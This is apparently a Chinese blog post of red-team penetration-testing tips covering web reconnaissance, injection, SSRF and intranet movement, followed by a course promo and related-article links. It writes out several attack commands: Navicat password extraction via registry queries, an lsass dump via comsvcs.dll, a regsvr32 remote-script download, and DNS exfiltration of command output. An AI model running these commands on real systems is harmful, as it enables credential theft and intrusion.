前言

有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大伙觉得我分享的有用(那阿宽自然是很开心),希望能帮到还在学习路上的朋友,文章若有错误,请及时联系我指出,我也不想误导才学习的朋友。此外,本文为口嗨文,基本在说思路,没有实操。

目录

前言

Web端

(1)信息收集

(2)sql注入

​(3)逻辑漏洞

(4)上传

(5)xss

(6)ssrf

内网

(1)信息收集

(2)关于横向

(3)提权

(4)权限维持

(7)免杀,dll劫持,dll注入,委派,bypass uac


Web端

(1)信息收集

收集cms信息:

  • 1.通过云溪,wapplayzer,fofa,以及github上各位表哥写的baner等插件脚本收集
  • 2.网站后台,正页,power by "xxx",以及robots.txt
  • 3.根据经验判断,比如网站的icon(joomla,dede),目录框架结构(wordpress,discuz!)这些有明显特征的
  • 4.大框架类似,二次模改过来的,比如(onethink-->thinkphp)
  • 5.报错关键字提取,去github找有没有相似源码以及类似函数,报错信息可以用google语法收集warning error not exist等等。
  • 6.一些cms可以直接通过msf打use exploit/unix/http/laravel_token_unserialize_exec //关于laravel RCEuse auxiliary/admin/cisco/cisco_asa_extrabacon //关于思科的设备,CVE-2016-6366

收集端口:

  • 1.这么收集端口没什么好说,方法就那么几种
  • 2.一些端口应该知道的,开了21,22等端口,ftp匿名访问必须尝试(如果匿名登陆成功无法下载文件,尝试加入--no-passive参数),ssh弱口令必须尝试一下(各类数据库都外联弱口令尝试一下),81,88,888常见的web端口,389是ldap的默认端口,内网里面可能为域控,445(有些站你怎么打都日不进去,开了445的公网配合msf17010扫一波),999(phpmyadmin),1234(可能为redis),6379,3389(guest,shift都尝试一下),6588(护卫神界面),70000到10000的基本上是java的服务,重点关注weblogic,jboss,shiro,fastjson。其他一些高端口,可能为宝塔,或者边缘业务的端口。

收集子域名:

  • 1.收集的意义在于配合收集的cms和端口信息撕开口子
  • 2.看看有没有域传送漏洞,有的话帮你找完
  • 3.多去找找某些api,某些api也可以帮你找全(其所有相关资产)。

  • 4.某些网站有sql注入,但是找不到后台,可能就在子域名,子域名可能还有phpmyadmin

目录扫描:

  • 1.拿到站先不要直接开扫,先把bp打开,自己点一下网站的功能,然后在target那一栏bp会帮我们爬出大体框架
  • 2.如果ip被ban了,将线程调低,或者在找一个小众一点的扫描器,不行的话自己写一个,py,很快的。
  • 3.尽量通过目录的结构得知为什么cms,有没有上传的编辑器(fck,eweb等,很多时候比如我们通过注入找到网站后台账号密码,成功进入后台,但是后台功能单一以至于拿不下shell,这个时候最好的方法就是去找新的资源,当我们发现一个漏洞很容易被这个漏洞束缚从而思维无法发散)
  • 我们找到A服务器的后台:admin/adminlogin.asp(有账号密码但是拿不下)
  • 这个时候不是一直想突破后台,而是发现新的资源admin/ewebeditor/admin_login.asp(从编辑器入手)
  • 4.比如扫到了axgg.xml这个敏感文件,它确实存在却无法访问,比如www.axgg.com/hdx/hxd/axgg.xml 我们无法访问,可以做一下尝试www.axgg.com/hdx/.hxd/axgg.xml
  • www.axgg.com/hdx/;abcd/hxd/axgg.xml
  • www.axgg.com/hdx/abcd/../hxd/axgg.xml
  • 5..git svn如果觉得还原的不全,可以去kali重新试试,多下几个工具
  • 6.日志

其他信息收集:

  • 1.c段,旁站,fofa搜索icon,header。
  • 2.phpinfo(收集绝对路径,真实ip,绕过xss的httponly($_SERVER[“HTTP_COOKIE”]),存在oci8推测数据库可能为oracle,),phpmyadmin,adminer,以及疑似的后门


(同行的马1.我们可以用profile=a看看能不能溢出2.f12里面搜索font,可能会出现密码)

  • 3.同模版网站
  • 4.护网的话,学校医院的学号和工号,可以根据“奖学金&&值班表” filetype等关键字搜索
  • 5.扫到了401的界面,可以加入X-Custom-IP-Authorization: 127.0.0.1
  • 6.如果在登录框处,我们可以查看其Js文件,测试密码不大可能泄露,但是说不定能找到其他组件,比如webservices,这个存在注入。

(2)sql注入

  • 1.不论是前后台,如果可以上传图片,但是上传绕不过,可以考虑图片名改为注入payload,看看有没有二次注入
  • 2.如果存在注入,好好利用bp,get/post切换,参数污染,分块,x-forward-for改为127.0.0.1,application/数据流也可以改,bp里面的一些非主流字符也可以删除掉,比如


以及垃圾数据

  • 3.至于对抗waf,最重要的是要清楚waf的规则,拦截的参数,再来进一步绕过,具体可以参考我的上一篇文章。https://xz.aliyun.com/t/9268
  • 如果读友们觉得写的还不错,我后面有时间一定把其余的漏洞以我目前的认知基础详细的讲一遍。
  • 4.遇到一个cms存在盲注,数据出的很慢,我们可以自己本地搭建一个,查看账号密码放在哪个表单。
  • 5.比如一个登录框,登陆的时候叫你选部门,可能账号密码处没有注入,但是你从人事部选择技术部这一步抓包,就会有注入。
  • 6.比如用union或者报错打payload,但是没有数据回显,可以看看f12里面是不是有hidden属性
  • 7.sqlserver的xpcmdshell写一句话用^转义失败,可以尝试certuili的hex写入


(3)逻辑漏洞

  • 1.存在注入拿下了账号,但是admin的账号hash解不开,可以在后台尝试修改密码,看是否存在逻辑漏洞
  • 2.关于爆破的后台验证码,可以更换为万能验证码(0000,8888我尝试均失败,不知哪儿听说的,哈哈哈哈),当然也可以设置空验证码,或者将验证码这个参数给删除掉。
  • 3.注册账号的时候可以尝试admin空格空格空格空格空格空格,看看可不可以覆盖

(4)上传

  • 1.条件竞争其实挺多的,tp写入session也可以想到条件竞争
  • 2.二次渲染,不仅是要了解,而且要大环境复线。
  • 3.bp里面的各类参数修改,已经说的很多了。
  • 4.看看有没有.user.ini这个文件,有的话走大运
  • 5.白名单,这类没有解析漏洞或者开发商本身的漏洞,就别想着绕过了。

(5)xss

  • 1.XSS无非是打cookie,钓鱼,像更高端的操作比如最近的chrome,xmind等xss上线cs,但是在实际项目中是可遇不可求的,真正需要注意的还是xss一些payload的拓展以及打到了cookie怎么绕过httponly。其实钓鱼的话可以配合弱口令去后台看看能不能改一些模版,虽然现在各类客服的安全意识已经很高了,但是有些时候能不能拿下项目还真的指望他们。

(6)ssrf

  • 1.ssrf出现的位置,其实burp抓包,不管是get的参数还是post的参数,我们都可以直接fuzzing,就比如post的数据,image=admin,我们image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到ssrf。
  • 2.认清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打组合拳,就比如配合redis那shell,首先是对面可能存在redis,然后为授权。然后写东西的时候不出玄学问题,就行了。
  • 3.ssrf最主要的几个功能是收集服务器的真实IP,探测内部文件,比如看看能不能通过gopher,file等协议读取东西,如果能探测web的端口,可以看看找一些get参数就能拿东西的漏洞,比如get型的sql注入

(7)xxe,csrf

  • 1.首先xxe我们也可以先将我们的content-type改为我们的application/xml,不管他是application/data,application/json,都可以改成application/xml,然后看看response对比哈,如果有区别的话可以FUZZING一哈xxe的payload
  • 2.关于csrf,其实csrf可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码,那么我们就可以构造出POC去getshell,但是话又说回来,这2个洞我反正在项目中遇到是很少的。

内网

(1)信息收集

其实网上有很多讲内网信息收集,说了很多命令,但是都用的到吗?因为我们收集到不同的信息会对我们的渗透思路完全不同,内网不像web,你在工作组和在域环境打法是完全不同的,你在域环境找到域控和没找到域控是2回事。但是渗透的本质还是不断地收集信息然后横向。
首先应该收集的是我们当前控制机器的信息,杀软有哪些,你要是不提权的话可以不看补丁,是否在域环境,是否纯在IPC空连接,共享,机器上的一些txt,xlsx,一般在桌面

dir /b /s *.txt
wmic share get name,path,status \查看共享
wmic data file where "filename='test' and extension='jpg'" get caption

ps:如果没有找到桌面的位置,有些国外的机器或者修改过的项目
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s \通过注册表找到
是否存在tg,xshell,navicat等软件,这些都可以进一步搜集额外的东西
破解navicat

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEY_CURRENTUSER\Software\PremiumSoft\NavicatSQLite\Servers\

本机的wifi密码(撞密码),本机浏览器的书签,保存的密码(这个很好破解,比如内网历史记录访问过一个192.168.7.15/admin.aspx这个网站,我们查看他的密码需要Pin,我们直接点进去这个网站,然后f12把hidden改成txt即可),cookie(因为有些要IP认证,所以用cookie),RDP的凭证,public\document这个位置,如果运气好或许Mimikatz可以破解出来,不过我们当我们不在域环境的时候可以查看连接的IP帮我们更好的定位其他机器的位置。本机的网络环境,c段的web资源,数据库位置,信任域(前提是我们是在域环境),等这类东西。
最后在是我们的密码,凭证。

(2)关于横向

其实横向的强弱在于我们第一步的信息收集,道理大家都知道,比如我们通过web打点拿下一台服务器,同学a通过navicat解出了sqlserver的账号密码,在看了一下c段的机器名或者开的端口,找到了数据库,然后在通过sqlserver的IPC空连接配合gpc泄露拿到了密码,虽然这个例子举得太过理想和拉跨,但是想告诉读者朋友们,我们一定要对信息收集这个概念在每一台我们能控制的服务器运用到极致,同学b进去抓密码,pth,ms17010(出了永恒之蓝,还有永恒冠军,永恒浪漫,就是原生py),或者找找web日一日,发现日求不动,然后渗透结束。虽然现在委派很火,但是我想说的委派基本上是大集团方便管理,其实我们平时遇到的普通域环境很少用的到,但是学有余力还是务必掌握!

(3)提权

说到提权,其实我们应当明白提权的这个机器对我们有进一步渗透的意义,才去提权,比如我在一个域环境,当前用户就是一个普通域用户,是一个普通的员工机器,但是我TM就想一个烂土豆提到system,然后抓密码,哎,就是玩儿,但是真没必要。什么时候需要提,比如我们在的机器为域机器,但是当前用户却是本地用户,这个时候我们可以一个烂土豆变成system,然后查看域用户,找域控。就是想告诉大家别没有思路的时候就提权,而是看我们提了权能给我们进一步带来什么,当我们渗透没有思路时,就回顾一下自己打点到目前的位置,是不是每一步的信息收集都收集好了。

(4)权限维持

这一步和提权是一样的,我们应该明白什么时候需要权限维持,不是打点进去,一个pth上了三四太机器,然后每一个做一个自启,或者直接注册表修改添加隐藏用户,又或者激活guest。我们应当审视一下这台机器,他有没有进一步利用的价值再去做权限维持,比如这是一台运维,或者IT的机器,怎么看,看这台机器的组,或者机器名,还有桌上的一些文件进行判别。我们做权限维持的目的是这个时间点没有收集到或者错过了收集到一些敏感的东西,所以我们权限维持等待时机,比如键盘记录,cmd命令记录,如果是linux的,我们可以ssh劫持。常用的权限维持技巧,自启动,利用acl添加普通用户的完全访问权限,利用DCSync在域内维持权限等方法。

(5)文件传输

网上也说了很多,我也再说说吧,出了常见的python,certuili,bitadmin,wget,curl,ftp等
js,hta,vbs等这类脚本也可用写入下载的内容
或者运用csc编译我们写好的dowoload.cs
也可以用wmic
wmic process call create "regsvr32 /s /n /u /i:http://xxxxx:1337/as.txt scrobj.dll"这样调用

(6)内网的一些小技巧

  • 1.当某些软件正在运行或者权限不够我们看不了,我们可以copy到一个位置然后在type
  • 2.如果某些环境出现中文名而且我们的c2工具因为字符不能识别无法正常渗透,可以考虑写入bat或者vbs
  • 3.当我们mstsc连接出现问题时,我们可以mstsc /admin mstsc /console
  • 4.当我们echo一个一个字符追加,但是换行了,可以这样

  • 5.拿到shell,但是cmd没有回显

    cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set =%i & cmd /c nslookup %_:~0,-1%. 6utb0b.dnslog.cn)&del temp
  • 6.如若3389登不上,普通方法都检测了,试试net stop sharedaccess关闭筛选,如果想多用户登录,可以尝试使用rdpwrap这个软件。
  • 7.echo 123 > axgg::$INDEX_ALLOCATION \创建文件夹,有什么用,mysql udf没有plugin的时候删除:rd axgg::$INDEX_ALLOCATION
  • 8.比如我们的命令被禁用或者匹配了其规则,其余思路自由发展

  • 9.当我们遇到owa的时候,只要将HTTP协议版本修改成1.0,然后去掉http头里面的HOST参数,会返回服务器所在的内网IP,对OWA屡试不爽


此外,/owa/auth/trace.axd会暴露OWA版本和内网的代理IP信息

  • 10.如果想降权的话可以用runas起一个进程
  • 11.提供一个不要prodump抓lsass的方法tasklist | findstr lsass.exe 查找lsass的pid号powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 592 D:\wwwroot\huodong\lsass.dmp full"

(7)免杀,dll劫持,dll注入,委派,bypass uac

这些都是当我们基本打好了以后才能更好的吸收和掌握,网上也有很多师傅讲过,我自己基础差,就不限丑了。

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①2000多本网安必看电子书(主流和经典的书籍应该都有了)

②PHP标准库资料(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

 渗透测试工具大全

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

点击下方即可免费获取全部资料

【资料获取】

原来你就是传说中的安(hei)全(ke)人员【红队技巧分享】相关推荐

  1. 【网络安全面经】渗透面经、安服面经、红队面经、hw面经应有尽有 这一篇真的够了

    目录 面经 牛客 奇安信面经(五星推荐) 牛客面经(推荐) 渗透测试面经(推荐) 渗透测试技巧 计网面经 SQL注入漏洞 注入绕过 XXE漏洞 最强面经 Github面经 模拟面 WEB安全 PHP安 ...

  2. 麒麟信安携手河南IT联盟召开 《麒麟信安信创应用解决方案》线上分享会

    在党政及金融.交通.能源等重要行业的信创应用步伐逐步加快的背景下,各行业均面临着不同程度的国产化落地难题.11月29日下午,麒麟信安与河南省信息协会IT产业分会(河南IT联盟)携手召开<麒麟信安 ...

  3. Ubuntu最全问题汇总(好东西分享了)

    Ubuntu8.04最全问题汇总(好东西分享了)   一.系统初始化二.输入法三.系统美化四.影视工具五.文件浏览六.系统管理七.其他软件八.虚拟九.编程环境十.KDE 十一.Ubuntu出现的一些问 ...

  4. μC/OS-II在Microblaze上的移植与使用专题--“安富利杯”赛灵思FPGA设计技巧与应用创新博文大赛参赛作品...

    reference:http://xilinx.eetrend.com/d6-xilinx/blog/2010-05/682.html 随着集成电路设计与制造技术的发展,FPGA芯片的容量越来越大.性 ...

  5. 免杀的艺术:史上最全的汇编Shellcode的技巧(三)

    本文讲的是免杀的艺术:史上最全的汇编Shellcode的技巧(三), 我们在上一篇提到要要自定义shellcode,不过由于这是个复杂的过程,我们只能专门写一篇了,本文,我们将会给大家介绍shellc ...

  6. 考研全流程,两年经验分享

    考研全流程,两年经验分享 在参加了21年和22年考研之后,经历了两次初试.很多次复试.调剂,受益了许多.以下分为初试.复试.调剂,分科目来分享经历.都是干货,不仅仅工科专业,考生可以各持所需. 本人某 ...

  7. RTMP推流协议视频直播点播平台EasyDSS请求时间接口返回的数据打印在前端页面全屏飘红问题解决

    TSINGSEE青犀视频团队接到过很多比较大的项目,这类项目的特点是接入数据量多,处理数据量也大,在对服务器造成负荷的同时,也对程序造成了堵塞. 拿EasyDSS视频直播点播平台举例,一旦EasyDS ...

  8. 森林怎么训练野人_《森林》全野人/变异人打法技巧图文攻略

    <森林>是一款野望求生类游戏,游戏中玩家需要抵挡敌人的攻击.下面给大家带来玩家"Qily"分享的全野人/变异人打法技巧图文攻略,以供参考. 遭遇群殴时的技巧 当你看到这 ...

  9. 红蓝对抗-红队攻防全流程解析

    红队攻防全流程解析 文章目录 红队攻防全流程解析 基础设施架构设计部署 选择域名 邮件钓鱼之前期信息收集与侦查 钓鱼样本制作 内网横向移动 文件感染与横向移动 基础设施架构设计部署 普通架构:红队人员 ...

最新文章

  1. 人工智能如何落地安防?需先迈过算力这一关
  2. ITextHtml2canvas js截图 绘制 导出PDF
  3. 润乾V5手机报表说明文档
  4. junit5_使用junit做其他事情
  5. filter和interceptor的区别
  6. java中Class.getResource用法(用于配置文件的读取)
  7. {面试题49} 把字符串转换成整数
  8. python之迭代器,生成器
  9. 为什么学好计算机就必须学好汇编?
  10. 想要成为真正优秀的程序员是不是真的很难?
  11. C#中datagirdview表头变换
  12. 嵌入式linux增加root权限,Ubuntu12.04 添加新用户并增加管理员权限
  13. Review-常用数学符号的英文及中文叫法
  14. java基础 day-17 设计模式(单例,工厂,代理),静态动态代理,数据库连接池(动态代理)
  15. echart2文档(简单明白)
  16. PHP正则表达式笔记与实例详解
  17. SIM7600CE TCP AT指令
  18. 【C++学习笔记】标准库类型string
  19. java split 双竖线_HIVE 常用函数及实例
  20. 杰理之实现 AUX 的功能【篇】

热门文章

  1. vue3头像上传组件
  2. linux 修改文件内容sed,linux下通过sed命令直接修改文件内容
  3. 由一次渗透引发的安全思考
  4. 嵌入式系统的虚拟化 小设备虚拟机监控程序的方式和原因
  5. 用计算机做作业的检讨,计算机考试作弊检讨书1000字
  6. android-4.0.4
  7. 将镜像推送到阿里云私有仓库
  8. 计算机图形学MFC绘图作业__在VS2017上的使用指南与编码示例
  9. malloc函数及memset函数用法详解
  10. vue项目在局域网中访问